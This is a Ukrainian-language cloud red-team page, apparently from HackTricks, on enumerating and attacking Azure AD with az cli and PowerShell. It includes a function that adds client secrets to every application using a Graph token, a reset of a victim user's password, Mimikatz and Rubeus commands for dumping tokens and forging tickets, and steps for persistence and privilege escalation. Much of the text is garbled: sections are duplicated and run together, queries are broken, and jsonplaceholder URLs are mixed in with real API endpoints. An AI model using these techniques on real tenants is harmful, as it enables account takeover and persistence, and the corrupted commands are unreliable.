Az - AzureAD (AAD)

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Базова інформація

Azure Active Directory (Azure AD) служить хмарним сервісом Microsoft для управління ідентичністю та доступом. Він є ключовим для того, щоб співробітники могли увійти та отримати доступ до ресурсів як всередині, так і поза організацією, охоплюючи Microsoft 365, портал Azure та безліч інших SaaS-додатків. Дизайн Azure AD спрямований на надання основних служб ідентифікації, включаючи аутентифікацію, авторизацію та управління користувачами.

Ключові функції Azure AD включають багатофакторну аутентифікацію та умовний доступ, разом з безшовною інтеграцією з іншими службами безпеки Microsoft. Ці функції значно підвищують безпеку ідентичностей користувачів та дозволяють організаціям ефективно впроваджувати та забезпечувати виконання своїх політик доступу. Як фундаментальний компонент хмарних послуг Microsoft, Azure AD є ключовим для хмарного управління ідентичностями користувачів.

Сутності

Перелік

Для цього переліку ви можете використовувати інструмент az cli, модуль PowerShell AzureAD (або AzureAD Preview) та модуль Az PowerShell.

У Linux вам потрібно буде встановити PowerShell Core:

sudo apt-get update
sudo apt-get install -y wget apt-transport-https software-properties-common

# Ubuntu 20.04
wget -q https://packages.microsoft.com/config/ubuntu/20.04/packages-microsoft-prod.deb

# Update repos
sudo apt-get update
sudo add-apt-repository universe

# Install & start powershell
sudo apt-get install -y powershell
pwsh

# Az cli
curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash

Різниця між модулями

  • AzureAD - це модуль PowerShell від Microsoft для управління Azure AD. Він не показує всі властивості об'єктів Azure AD і не може бути використаний для доступу до інформації про ресурси Azure.

  • Az PowerShell - це модуль для управління ресурсами Azure з командного рядка PowerShell.

Підключення

az login #This will open the browser
az login -u <username> -p <password> #Specify user and password
az login --identity #Use the current machine managed identity (metadata)
az login --identity -u /subscriptions/<subscriptionId>/resourcegroups/myRG/providers/Microsoft.ManagedIdentity/userAssignedIdentities/myID #Login with user managed identity
# Login as service principal
az login --service-principal -u http://azure-cli-2016-08-05-14-31-15 -p VerySecret --tenant contoso.onmicrosoft.com #With password
az login --service-principal -u http://azure-cli-2016-08-05-14-31-15 -p ~/mycertfile.pem --tenant contoso.onmicrosoft.com #With cert

# Request access token (ARM)
az account get-access-token
# Request access token for different resource. Supported tokens: aad-graph, arm, batch, data-lake, media, ms-graph, oss-rdbms
az account get-access-token --resource-type aad-graph

# If you want to configure some defaults
az configure

# Get user logged-in already
az ad signed-in-user show

# Help
az find "vm" # Find vm commands
az vm -h # Get subdomains
az ad user list --query-examples # Get examples

Коли ви увійшли через CLI в Azure за допомогою будь-якої програми, ви використовуєте Azure Application з тенантом, який належить Microsoft. Ці додатки, такі як ті, які ви можете створити у своєму обліковому записі, мають ідентифікатор клієнта. Ви не зможете побачити всі з них у списках дозволених додатків, які ви бачите в консолі, але вони дозволені за замовчуванням.

Наприклад, скрипт powershell, який аутентифікується, використовує додаток з ідентифікатором клієнта 1950a258-227b-4e31-a9cf-717495945fc2. Навіть якщо додаток не з'являється в консолі, системний адміністратор може заблокувати цей додаток, щоб користувачі не могли отримати доступ за допомогою інструментів, які підключаються через цей додаток.

Однак є інші ідентифікатори клієнтів додатків, які дозволять вам підключитися до Azure:

# The important part is the ClientId, which identifies the application to login inside Azure

$token = Invoke-Authorize -Credential $credential `
-ClientId '1dfb5f98-f363-4b0f-b63a-8d20ada1e62d' `
-Scope 'Files.Read.All openid profile Sites.Read.All User.Read email' `
-Redirect_Uri "https://graphtryit-staging.azurewebsites.net/" `
-Verbose -Debug `
-InformationAction Continue

$token = Invoke-Authorize -Credential $credential `
-ClientId '65611c08-af8c-46fc-ad20-1888eb1b70d9' `
-Scope 'openid profile Sites.Read.All User.Read email' `
-Redirect_Uri "chrome-extension://imjekgehfljppdblckcmjggcoboemlah" `
-Verbose -Debug `
-InformationAction Continue

$token = Invoke-Authorize -Credential $credential `
-ClientId 'd3ce4cf8-6810-442d-b42e-375e14710095' `
-Scope 'openid' `
-Redirect_Uri "https://graphexplorer.azurewebsites.net/" `
-Verbose -Debug `
-InformationAction Continue

Користувачі

# Enumerate users
az ad user list --output table
az ad user list --query "[].userPrincipalName"
# Get info of 1 user
az ad user show --id "test@corp.onmicrosoft.com"
# Search "admin" users
az ad user list --query "[].displayName" | findstr /i "admin"
az ad user list --query "[?contains(displayName,'admin')].displayName"
# Search attributes containing the word "password"
az ad user list | findstr /i "password" | findstr /v "null,"
# All users from AzureAD
az ad user list --query "[].{osi:onPremisesSecurityIdentifier,upn:userPrincipalName}[?osi==null]"
az ad user list --query "[?onPremisesSecurityIdentifier==null].displayName"
# All users synced from on-prem
az ad user list --query "[].{osi:onPremisesSecurityIdentifier,upn:userPrincipalName}[?osi!=null]"
az ad user list --query "[?onPremisesSecurityIdentifier!=null].displayName"
# Get groups where the user is a member
az ad user get-member-groups --id <email>
# Get roles assigned to the user
az role assignment list --include-groups --include-classic-administrators true --assignee <email>

Azure AD

Enumeration

  1. Get Tenant ID

    az account show --query tenantId
  2. List Users

    az ad user list
  3. List Groups

    az ad group list
  4. List Service Principals

    az ad sp list
  5. List Applications

    az ad app list
  6. List Domains

    az ad domain list
  7. List Role Assignments

    az role assignment list
  8. List Role Definitions

    az role definition list
  9. List Policies

    az ad sp list --query "[].{displayName:displayName, objectId:objectId}"
  10. Get User

    az ad user show --id <user_id>
  11. Get Group

    az ad group show --group <group_name>
  12. Get Service Principal

    az ad sp show --id <service_principal_id>

json ```

  1. Get Application

    az ad app show --id <app_id>
  2. Get Domain

    az ad domain show --name <domain_name>
  3. Get Role Assignment

    az role assignment list --assignee <assignee_id>
  4. Get Role Definition

    az role definition list --name <role_name>
  5. Get Policy

    az ad sp show --id <policy_id>

Dumping

  1. Dump Users

    az ad user list --query "[].{displayName:displayName, objectId:objectId}"
  2. Dump Groups

    az ad group list --query "[].{displayName:displayName, objectId:json"
  3. Dump Service Principals

    az ad sp list --query "[].{displayName:displayName, objectId:objectId}"

json


4. **Dump Applications**
```bash
az ad app list --query "[].{displayName:displayName, objectId:objectId}"
  1. Dump Domains

    az ad domain list --query "[].{displayName:displayName, objectId:objectId}"
  2. Dump Role Assignments

    az role assignment list --query "[].{displayName:displayName, objectId:json"
  3. Dump Role Definitions

    az role definition list --query "[].{displayName:displayName, objectId:objectId}"
  4. Dump Policies

    az ad sp list --query "[].{displayName:displayName, objectId:objectId}"

Other

  1. Get Azure AD Sign-Ins

    az monitor activity-log list --resource-type Microsoft.aadiam/registrations
  2. Get Azure AD B2C Sign-Ins

    az monitor activity-log list --resource-type Microsoft.aadiam/b2cUserFlows
  3. Get Azure AD B2C Users

    az monitor activity-log list --resource-type Microsoft.aadiam/b2cUsers
  4. Get Azure AD Applications

    az monitor activity-log list --resource-type Microsoft.aadiam/applications
  5. Get Azure AD Service Principals

    az monitor activity-log list --resource-type Microsoft.aadiam/servicePrincipals
  6. Get Azure AD Domains

    az monitor activity-log list --resource-type Microsoft.aadiam/domains
  7. Get Azure AD Users

    az monitor activity-log list --resource-type Microsoft.aadiam/users
  8. Get Azure AD Groups

    az monitor activity-log list --resource-type Microsoft.aadiam/groups
  9. Get Azure AD Role Assignments

    az monitor activity-log list --resource-type Microsoft.authorization/roleAssignments
  10. Get Azure AD Role Definitions

    az monitor activity-log list --resource-type Microsoft.authorization/roleDefinitions
  11. Get Azure AD Policies

    az monitor activity-log list --resource-type Microsoft.authorization/policies
  12. Get Azure AD Applications

    az monitor activity-log list --resource-type Microsoft.aadiam/applications
  13. Get Azure AD Service Principals

    az monitor activity-log list --resource-type Microsoft.aadiam/servicePrincipals
  14. Get Azure AD Domains

    az monitor activity-log list --resource-type Microsoft.aadiam/domains
  15. Get Azure AD Users

    az monitor activity-log list --resource-type Microsoft.aadiam/users
  16. Get Azure AD Groups

    az monitor activity-log list --resource-type Microsoft.aadiam/groups
  17. Get Azure AD Role Assignments

    az monitor activity-log list --resource-type Microsoft.authorization/roleAssignments
  18. Get Azure AD Role Definitions

    az monitor activity-log list --resource-type Microsoft.authorization/roleDefinitions
  19. Get Azure AD Policies

    az monitor activity-log list --resource-type Microsoft.authorization/policies
# Enumerate Users
Get-AzureADUser -All $true
Get-AzureADUser -All $true | select UserPrincipalName
# Get info of 1 user
Get-AzureADUser -ObjectId test@corp.onmicrosoft.com | fl
# Search "admin" users
Get-AzureADUser -SearchString "admin" #Search admin at the begining of DisplayName or userPrincipalName
Get-AzureADUser -All $true |?{$_.Displayname -match "admin"} #Search "admin" word in DisplayName
# Get all attributes of a user
Get-AzureADUser -ObjectId test@defcorphq.onmicrosoft.com|%{$_.PSObject.Properties.Name}
# Search attributes containing the word "password"
Get-AzureADUser -All $true |%{$Properties = $_;$Properties.PSObject.Properties.Name | % {if ($Properties.$_ -match 'password') {"$($Properties.UserPrincipalName) - $_ - $($Properties.$_)"}}}
# All users from AzureAD# All users from AzureAD
Get-AzureADUser -All $true | ?{$_.OnPremisesSecurityIdentifier -eq $null}
# All users synced from on-prem
Get-AzureADUser -All $true | ?{$_.OnPremisesSecurityIdentifier -ne $null}
# Objects created by a/any user
Get-AzureADUser [-ObjectId <email>] | Get-AzureADUserCreatedObject
# Devices owned by a user
Get-AzureADUserOwnedDevice -ObjectId test@corp.onmicrosoft.com
# Objects owned by a specific user
Get-AzureADUserOwnedObject -ObjectId test@corp.onmicrosoft.com
# Get groups & roles where the user is a member
Get-AzureADUserMembership -ObjectId 'test@corp.onmicrosoft.com'
# Get devices owned by a user
Get-AzureADUserOwnedDevice -ObjectId test@corp.onmicrosoft.com
# Get devices registered by a user
Get-AzureADUserRegisteredDevice -ObjectId test@defcorphq.onmicrosoft.com
# Apps where a user has a role (role not shown)
Get-AzureADUser -ObjectId roygcain@defcorphq.onmicrosoft.com | Get-AzureADUserAppRoleAssignment | fl *
# Get Administrative Units of a user
$userObj = Get-AzureADUser -Filter "UserPrincipalName eq 'bill@example.com'"
Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember -Id $_.Id | where { $_.Id -eq $userObj.ObjectId } }

{% конец вкладки %} {% конец вкладки %}

# Enumerate users
Get-AzADUser
# Get details of a user
Get-AzADUser -UserPrincipalName test@defcorphq.onmicrosoft.com
# Search user by string
Get-AzADUser -SearchString "admin" #Search at the beginnig of DisplayName
Get-AzADUser | ?{$_.Displayname -match "admin"}
# Get roles assigned to a user
Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com

Зміна пароля користувача

$password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText –Force

(Get-AzureADUser -All $true | ?{$_.UserPrincipalName -eq "victim@corp.onmicrosoft.com"}).ObjectId | Set- AzureADUserPassword -Password $password –Verbose

MFA & Умовні політики доступу

Високо рекомендується додати MFA до кожного користувача, однак деякі компанії можуть не встановлювати його або встановлювати з Умовним доступом: Користувачу буде потрібно MFA, якщо він увійде з конкретного місця, браузера або якоїсь умови. Ці політики, якщо не налаштовані правильно, можуть бути схильні до обхіду. Перевірте:

pageAz - Conditional Access Policies / MFA Bypass

Групи

# Enumerate groups
az ad group list
az ad group list --query "[].[displayName]" -o table
# Get info of 1 group
az ad group show --group <group>
# Get "admin" groups
az ad group list --query "[].displayName" | findstr /i "admin"
az ad group list --query "[?contains(displayName,'admin')].displayName"
# All groups from AzureAD
az ad group list --query "[].{osi:onPremisesSecurityIdentifier,displayName:displayName,description:description}[?osi==null]"
az ad group list --query "[?onPremisesSecurityIdentifier==null].displayName"
# All groups synced from on-prem
az ad group list --query "[].{osi:onPremisesSecurityIdentifier,displayName:displayName,description:description}[?osi!=null]"
az ad group list --query "[?onPremisesSecurityIdentifier!=null].displayName"
# Get members of group
az ad group member list --group <group> --query "[].userPrincipalName" -o table
# Check if member of group
az ad group member check --group "VM Admins" --member-id <id>
# Get which groups a group is member of
az ad group get-member-groups -g "VM Admins"
# Get Apps where a group has a role (role not shown)
Get-AzureADGroup -ObjectId <id> | Get-AzureADGroupAppRoleAssignment | fl *

Azure AD

Enumerate Azure AD

Using Azure CLI

az ad user list
az ad group list
az ad sp list

Using Graph API

GET https://graph.microsoft.com/v1.0/users
GET https://graph.microsoft.com/v1.0/groups
GET https://graph.microsoft.com/vjson/servicePrincipals

Dump Azure AD

Using Azure CLI

az rest --method get --uri https://graph.microsoft.com/v1.0/users
az rest --method get --uri https://graph.microsoft.com/v1.0/groups
az rest --method get --uri https://json.servicePrincipals

Using Graph API

GET https://graph.microsoft.com/v1.0/users
GET https://graph.microsoft.com/v1.0/groups
GET https://graph.microsoft.com/vjson/servicePrjsonincipals
# Enumerate Groups
Get-AzureADGroup -All $true
# Get info of 1 group
Get-AzADGroup -DisplayName <resource_group_name> | fl
# Get "admin" groups
Get-AzureADGroup -SearchString "admin" | fl #Groups starting by "admin"
Get-AzureADGroup -All $true |?{$_.Displayname -match "admin"} #Groups with the word "admin"
# Get groups allowing dynamic membership
Get-AzureADMSGroup | ?{$_.GroupTypes -eq 'DynamicMembership'}
# All groups that are from Azure AD
Get-AzureADGroup -All $true | ?{$_.OnPremisesSecurityIdentifier -eq $null}
# All groups that are synced from on-prem (note that security groups are not synced)
Get-AzureADGroup -All $true | ?{$_.OnPremisesSecurityIdentifier -ne $null}
# Get members of a group
Get-AzureADGroupMember -ObjectId <group_id>
# Get roles of group
Get-AzureADMSGroup -SearchString "Contoso_Helpdesk_Administrators" #Get group id
Get-AzureADMSRoleAssignment -Filter "principalId eq '69584002-b4d1-4055-9c94-320542efd653'"
# Get Administrative Units of a group
$groupObj = Get-AzureADGroup -Filter "displayname eq 'TestGroup'"
Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember -Id $_.Id | where {$_.Id -eq $groupObj.ObjectId} }

За допомогою Az PowerShell ви можете взаємодіяти з Azure AD. Використовуйте наступні команди для роботи з Azure AD:

  1. Підключіться до Azure AD:

Connect-AzAccount
  1. Отримайте інформацію про користувачів:

Get-AzADUser
  1. Отримайте інформацію про групи:

Get-AzADGroup
  1. Отримайте інформацію про додатки:

Get-AzADApplication
  1. Отримайте інформацію про сертифікати:

Get-AzADCertificate
  1. Отримайте інформацію про уповноваження:

Get-AzADServicePrincipal
```</div>

```powershell
# Get all groups
Get-AzADGroup
# Get details of a group
Get-AzADGroup -ObjectId <id>
# Search group by string
Get-AzADGroup -SearchString "admin" | fl * #Search at the beginnig of DisplayName
Get-AzADGroup |?{$_.Displayname -match "admin"}
# Get members of group
Get-AzADGroupMember -GroupDisplayName <resource_group_name>
# Get roles of group
Get-AzRoleAssignment -ResourceGroupName <resource_group_name>

Додавання користувача до групи

Власники групи можуть додавати нових користувачів до групи

Add-AzureADGroupMember -ObjectId <group_id> -RefObjectId <user_id> -Verbose

Групи можуть бути динамічними, що в основному означає, що якщо користувач відповідає певним умовам, він буде доданий до групи. Звичайно, якщо умови базуються на атрибутах, які користувач може контролювати, він може зловживати цією функцією, щоб потрапити в інші групи. Перевірте, як зловживати динамічними групами на наступній сторінці:

pageAz - Dynamic Groups Privesc

Сервісні принципали / Підприємницькі додатки

Зверніть увагу, що Сервісний принципал в термінології PowerShell називається Підприємницькі додатки в веб-порталі Azure.

# Get Service Principals
az ad sp list --all
az ad sp list --all --query "[].[displayName]" -o table
# Get details of one SP
az ad sp show --id 00000000-0000-0000-0000-000000000000
# Search SP by string
az ad sp list --all --query "[?contains(displayName,'app')].displayName"
# Get owner of service principal
az ad sp owner list --id <id> --query "[].[displayName]" -o table
# Get service principals owned by the current user
az ad sp list --show-mine
# List apps that have password credentials
az ad sp list --all --query "[?passwordCredentials != null].displayName"
# List apps that have key credentials (use of certificate authentication)
az ad sp list -all --query "[?keyCredentials != null].displayName"

Власник службового принципалу може змінити його пароль.

Перелік та спроба додати клієнтський секрет до кожного підприємства

```powershell # Just call Add-AzADAppSecret Function Add-AzADAppSecret { <# .SYNOPSIS Add client secret to the applications.

.PARAMETER GraphToken Pass the Graph API Token

.EXAMPLE PS C:> Add-AzADAppSecret -GraphToken 'eyJ0eX..'

.LINK https://docs.microsoft.com/en-us/graph/api/application-list?view=graph-rest-1.0&tabs=http https://docs.microsoft.com/en-us/graph/api/application-addpassword?view=graph-rest-1.0&tabs=http #>

[CmdletBinding()] param( [Parameter(Mandatory=$True)] [String] $GraphToken = $null )

$AppList = $null $AppPassword = $null

List All the Applications

$Params = @{ "URI" = "https://graph.microsoft.com/v1.0/applications" "Method" = "GET" "Headers" = @{ "Content-Type" = "application/json" "Authorization" = "Bearer $GraphToken" } }

try { $AppList = Invoke-RestMethod @Params -UseBasicParsing } catch { }

Add Password in the Application

if($AppList -ne $null) { [System.Collections.ArrayList]$Details = @()

foreach($App in $AppList.value) { $ID = $App.ID $psobj = New-Object PSObject

$Params = @{ "URI" = "https://graph.microsoft.com/v1.0/applications/$ID/addPassword" "Method" = "POST" "Headers" = @{ "Content-Type" = "application/json" "Authorization" = "Bearer $GraphToken" } }

$Body = @{ "passwordCredential"= @{ "displayName" = "Password" } }

try { $AppPassword = Invoke-RestMethod @Params -UseBasicParsing -Body ($Body | ConvertTo-Json) Add-Member -InputObject $psobj -NotePropertyName "Object ID" -NotePropertyValue $ID Add-Member -InputObject $psobj -NotePropertyName "App ID" -NotePropertyValue $App.appId Add-Member -InputObject $psobj -NotePropertyName "App Name" -NotePropertyValue $App.displayName Add-Member -InputObject $psobj -NotePropertyName "Key ID" -NotePropertyValue $AppPassword.keyId Add-Member -InputObject $psobj -NotePropertyName "Secret" -NotePropertyValue $AppPassword.secretText $Details.Add($psobj) | Out-Null } catch { Write-Output "Failed to add new client secret to '$($App.displayName)' Application." } } if($Details -ne $null) { Write-Output "" Write-Output "Client secret added to : " Write-Output $Details | fl * } } else { Write-Output "Failed to Enumerate the Applications." } }

</details>

### Ролі

<div data-gb-custom-block data-tag="tabs"></div>

<div data-gb-custom-block data-tag="tab" data-title='az cli'>

```bash
# Get roles
az role definition list
# Get assigned roles
az role assignment list --all --query "[].roleDefinitionName"
az role assignment list --all | jq '.[] | .roleDefinitionName,.scope'
# Get info of 1 role
az role definition list --name "AzureML Registry User"
# Get only custom roles
az role definition list --custom-role-only
# Get only roles assigned to the resource group indicated
az role definition list --resource-group <resource_group>
# Get only roles assigned to the indicated scope
az role definition list --scope <scope>
# Get all the principals a role is assigned to
az role assignment list --all --query "[].{principalName:principalName,principalType:principalType,resourceGroup:resourceGroup,roleDefinitionName:roleDefinitionName}[?roleDefinitionName=='<ROLE_NAME>']"

Azure AD

Enumerate Azure AD

Using Azure CLI

az ad user list
az ad group list
az ad sp list

Using Graph API

GET https://graph.windows.net/myorganization/users?api-version=1.6
GET https://graph.windows.net/myorganization/groups?api-version=1.6
GET https://jsonplaceholder.typicode.com/posts

Dump Azure AD

Using Azure CLI

az ad user list
az ad group list
az ad sp list

Using Graph API

GET https://graph.windows.net/myorganization/users?api-version=1.6
GET https://graph.windows.net/myorganization/groups?api-version=1.6
GET https://jsonplaceholder.typicode.com/posts

Dump Azure AD Tokens

Using Mimikatz

privilege::debug
sekurlsa::cloudap
token::elevate
token::whoami

Using Rubeus

Rubeus.exe asktgt /user:<user> /rc4:<NTLM Hash> /domain:<domain> /dc:<DC IP>
Rubeus.exe asktgs /ticket:<TGT Ticket> /service:<SPN> /rc4:<NTLM Hash>```

### Dump Azure AD Tokens

#### Using Mimikatz

```bash
privilege::debug
sekurlsa::cloudap
token::elevate
token::whoami

Using Rubeus

Rubeus.exe asktgt /user:<user> /rc4:<NTLM Hash> /domain:<domain> /dc:<DC IP>
Rubeus.exe asktgs /ticket:<TGT Ticket> /service:<SPN> /rc4:<NTLM Hash>
# Get all available role templates
Get-AzureADDirectoryroleTemplate
# Get enabled roles (Assigned roles)
Get-AzureADDirectoryRole
Get-AzureADDirectoryRole -ObjectId <roleID> #Get info about the role
# Get custom roles - use AzureAdPreview
Get-AzureADMSRoleDefinition | ?{$_.IsBuiltin -eq $False} | select DisplayName
# Users assigned a role (Global Administrator)
Get-AzureADDirectoryRole -Filter "DisplayName eq 'Global Administrator'" | Get-AzureADDirectoryRoleMember
Get-AzureADDirectoryRole -ObjectId <id> | fl
# Roles of the Administrative Unit (who has permissions over the administrative unit and its members)
Get-AzureADMSScopedRoleMembership -Id <id> | fl *

Az PowerShell

Connect to Azure AD

Connect-AzAccount

List all users

Get-AzADUser

List all groups

Get-AzADGroup

List all applications

Get-AzADApplication

List all service principals

Get-AzADServicePrincipal

List all devices

Get-AzADDevice

List all roles

Get-AzRoleDefinition

List all role assignments

Get-AzRoleAssignment

List all role definitions

Get-AzRoleDefinition

List all role assignments for a specific user

Get-AzRoleAssignment -SignInName user@example.com

List all role assignments for a specific group

Get-AzRoleAssignment -ObjectId group-object-id

List all role assignments for a specific service principal

Get-AzRoleAssignment -ServicePrincipalName service-principal-name

List all role assignments for a specific resource group

Get-AzRoleAssignment -ResourceGroupName resource-group-name

List all role assignments for a specific scope

Get-AzRoleAssignment -Scope /subscriptions/subscription-id/resourceGroups/resource-group-name

List all role assignments for a specific role definition

Get-AzRoleAssignment -RoleDefinitionName role-definition-name

List all role assignments for a specific role definition at a specific scope

Get-AzRoleAssignment -RoleDefinitionName role-definition-name -Scope /subscriptions/subscription-id/resourceGroups/resource-group-name
``json
# Get role assignments on the subscription
Get-AzRoleDefinition
# Get Role definition
Get-AzRoleDefinition -Name "Virtual Machine Command Executor"
# Get roles of a user or resource
Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com
Get-AzRoleAssignment -Scope /subscriptions/<subscription-id>/resourceGroups/<res_group_name>/providers/Microsoft.Compute/virtualMachines/<vm_name>
# Get permissions over a resource using ARM directly
$Token = (Get-AzAccessToken).Token
$URI = 'https://management.azure.com/subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resourceGroups/Research/providers/Microsoft.Compute/virtualMachines/infradminsrv/providers/Microsoft.Authorization/permissions?api-version=2015-07-01'
$RequestParams = @{
Method = 'GET'
Uri = $URI
Headers = @{
'Authorization' = "Bearer $Token"
}
}
(Invoke-RestMethod @RequestParams).value

Пристрої

# If you know how to do this send a PR!Azure ADEnumerate Azure ADUsing Azure CLIaz ad user listaz ad group listaz ad sp listUsing Graph APIGET https://graph.windows.net/myorganization/users?api-version=1.6GET https://graph.windows.net/myorganization/groups?api-version=1.6GET https://jsonplaceholder.typicode.com/postsDump Azure ADUsing Azure CLIaz ad user listaz ad group listaz ad sp listUsing Graph APIGET https://graph.windows.net/myorganization/users?api-version=1.6GET https://graph.windows.net/myorganization/groups?api-version=1.6GET https://jsonplaceholder.typicode.com/postsDump Azure AD TokensUsing Mimikatzprivilege::debugsekurlsa::cloudaptoken::elevatelsadump::cloudapUsing RubeusRubeus.exe asktgt /user:<user> /rc4:<NTLM Hash> /domain:<domain> /dc:<DC-IP>Rubeus.exe asktgs /ticket:<TGT Ticket> /service:<SPN> /rc4:<NTLM Hash>jsonplaceholder.typicode.com/postsDump Azure AD CredentialsUsing Mimikatzprivilege::debugsekurlsa::cloudaptoken::elevatelsadump::cloudapUsing RubeusRubeus.exe asktgt /user:<user> /rc4:<NTLM Hash> /domain:<domain> /dc:<DC-IP>Rubejsonplaceholder.typicode.com/postsus.exe asktgs /ticket:<TGT Ticket> /service:<SPN> /rc4:<NTLM Hash># Enumerate DevicesGet-AzureADDevice -All $true | fl *# List all the active devices (and not the stale devices)Get-AzureADDevice -All $true | ?{$_.ApproximateLastLogonTimeStamp -ne $null}# Get owners of all devicesGet-AzureADDevice -All $true | Get-AzureADDeviceRegisteredOwnerGet-AzureADDevice -All $true | %{if($user=Get-AzureADDeviceRegisteredOwner -ObjectId $_.ObjectID){$_;$user.UserPrincipalName;"`n"}}# Registred users of all the devicesGet-AzureADDevice -All $true | Get-AzureADDeviceRegisteredUserGet-AzureADDevice -All $true | %{if($user=Get-AzureADDeviceRegisteredUser -ObjectId $_.ObjectID){$_;$user.UserPrincipalName;"`n"}}# Get dives managed using IntuneGet-AzureADDevice -All $true | ?{$_.IsCompliant -eq "True"}# Get devices owned by a userGet-AzureADUserOwnedDevice -ObjectId test@corp.onmicrosoft.com# Get Administrative Units of a deviceGet-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember -ObjectId $_.ObjectId | where {$_.ObjectId -eq $deviceObjId} }

Якщо пристрій (VM) приєднаний до AzureAD, користувачі з AzureAD зможуть увійти в систему. Більше того, якщо увійшовший користувач є власником пристрою, він буде мати права локального адміністратора.

Додатки

Додатки - це реєстрації додатків в порталі (не підприємницькі додатки). Але кожна реєстрація додатку створить підприємницький додаток (Службовий принципал) з такою ж назвою. Більше того, якщо додаток є багатоаналітичним додатком, в тій орендарії буде створено інший підприємницький додаток (Службовий принципал) з такою ж назвою.

Після створення додатку надаються 2 типи дозволів:

  • Дозволи, надані Службовому принципалу

  • Дозволи, які може мати та використовувати додаток від імені користувача.

# List Apps
az ad app list
az ad app list --query "[].[displayName]" -o table
# Get info of 1 App
az ad app show --id 00000000-0000-0000-0000-000000000000
# Search App by string
az ad app list --query "[?contains(displayName,'app')].displayName"
# Get the owner of an application
az ad app owner list --id <id> --query "[].[displayName]" -o table
# List all the apps with an application password
az ad app list --query "[?passwordCredentials != null].displayName"
# List apps that have key credentials (use of certificate authentication)
az ad app list --query "[?keyCredentials != null].displayName"

Azure AD

Enumerate Azure AD

Using Azure CLI

az ad user list
az ad group list
az ad sp list

Using Graph API

GET https://graph.windows.net/myorganization/users?api-version=1.6
GET https://graph.windows.net/myorganization/groups?api-version=1.6
GET https://jsonplaceholder.typicode.com/posts

Dump Azure AD

Using Azure CLI

az ad user list
az ad group list
az ad sp list

Using Graph API

GET https://graph.windows.net/myorganization/users?api-version=1.6
GET https://graph.windows.net/myorganization/groups?api-version=1.6
GET https://jsonplaceholder.typicode.com/posts

Dump Azure AD Tokens

Using Mimikatz

privilege::debug
sekurlsa::cloudap
token::elevate
token::whoami

Using Rubeus

Rubeus.exe asktgt /user:<user> /rc4:<NTLM Hash> /domain:<domain> /dc:<DC IP>
Rubeus.exe asktgs /ticket:<TGT Ticket> /service:<SPN> /rc4:<NTLM Hash>```

### Dump Azure AD Tokens

#### Using Mimikatz

```bash
privilege::debug
sekurlsa::cloudap
token::elevate
token::whoami

Using Rubeus

Rubeus.exe asktgt /user:<user> /rc4:<NTLM Hash> /domain:<domain> /dc:<DC IP>
Rubejsonplaceholder.typicode.com/posts
# List all registered applications
Get-AzureADApplication -All $true
# Get details of an application
Get-AzureADApplication -ObjectId <id>  | fl *
# List all the apps with an application password
Get-AzureADApplication -All $true | %{if(Get-AzureADApplicationPasswordCredential -ObjectID $_.ObjectID){$_}}
# Get owner of an application
Get-AzureADApplication -ObjectId <id> | Get-AzureADApplicationOwner |fl *

# Get Apps
Get-AzADApplication
# Get details of one App
Get-AzADApplication -ObjectId <id>
# Get App searching by string
Get-AzADApplication | ?{$_.DisplayName -match "app"}
# Get Apps with password
Get-AzADAppCredential

Додаток з дозволом AppRoleAssignment.ReadWrite може піднятися до рівня Глобального адміністратора, надаючи собі роль. Для отримання додаткової інформації перевірте це.

Секретний рядок, який використовує додаток для підтвердження своєї ідентичності при запиті токена, - це пароль додатка. Таким чином, якщо ви знайдете цей пароль, ви зможете отримати доступ як службовий принципал всередині орендаря. Зверніть увагу, що цей пароль видно лише при його генерації (ви можете змінити його, але не зможете отримати його знову). Власник додатка може додати до нього пароль (щоб він міг видаавати себе). Увіходи в якості цих службових принципалів не позначаються як ризиковані і не мають багатофакторної аутентифікації.

Відмінність між Додатками та (Підприємницькими додатками або Службовими принципалами)

Відмінність між додатком та службовим принципалом в Azure:

  • Додаток/Реєстрації додатків: Це додатки, які існують у вашому Azure AD

  • (Get-AzureADApplication -filter "DisplayName eq 'testapp'")

  • Службовий принципал/Підприємницькі додатки: Об'єкти безпеки у вашому Azure AD, які можуть мати привілеї в Azure Directory та пов'язані або з вашим додатком, або з додатком сторонньої сторони

  • Get-AzureADServicePrincipal -filter "DisplayName eq 'testapp'")

  • Адміністратор може затвердити надані дозволи, якщо вони є дуже чутливими.

Додаток може працювати в орендарі сторонньої сторони, і як тільки ви починаєте його використовувати та надаєте йому доступ, в вашому орендарі створюється Підприємницький додаток/Службовий принципал, щоб надати йому доступ до необхідної інформації:

Адміністративні одиниці

Вони використовуються для кращого управління користувачами.

Адміністративні одиниці обмежують дозволи в ролі на будь-яку частину вашої організації, яку ви визначаєте. Наприклад, ви можете використовувати адміністративні одиниці для делегування ролі Адміністратора служби підтримки регіональним спеціалістам з підтримки, щоб вони могли керувати користувачами лише в регіоні, який вони підтримують.

Отже, ви можете призначати ролі адміністратора одиниці, і члени цієї одиниці матимуть ці ролі.

AzureAD

Enumeration

  1. Get Tenant ID

    az account show --query tenantId
  2. Get Users

    az ad user list
  3. Get Groups

    az ad group list
  4. Get Service Principals

    az ad sp list
  5. Get Applications

    az ad app list
  6. Get Roles

    az role assignment list
  7. Get Subscriptions

    az account list

Persistence

  • Add a New User

    az ad user create --display-name <name> --password <password>
  • Add a New Service Principal

    az ad sp create-for-rbac --name <name>
  • Add a New Application

    az ad app create --display-name <name>
  • Add a New Role Assignment

    az role assignment create --assignee <principalId> --role <role>

Privilege Escalation

  • Get Role Definitions

    az role definition list
  • Create a Custom Role

    az role definition create --role-definition <json_file>
  • Assign a Custom Role

    az role assignment create --assignee <principalId> --role <role>

Lateral Movement

  • List Resource Groups

    az group list
  • List Resources in a Resource Group

    az resource list -g <resource_group>
  • List Virtual Machines

    az vm list
  • List Virtual Machine Scale Sets

    az vmss list
  • List Virtual Machine Disks

    az disk list
  • List Virtual Machine Snapshots

    az snapshot list
  • List Virtual Machine Images

    az image list
  • List Virtual Machine Scale Set VMs

    az vmss list-instances
  • List Virtual Machine Scale Set VM Extensions

    az vmss extension list
  • List Virtual Machine Scale Set VM Instance View

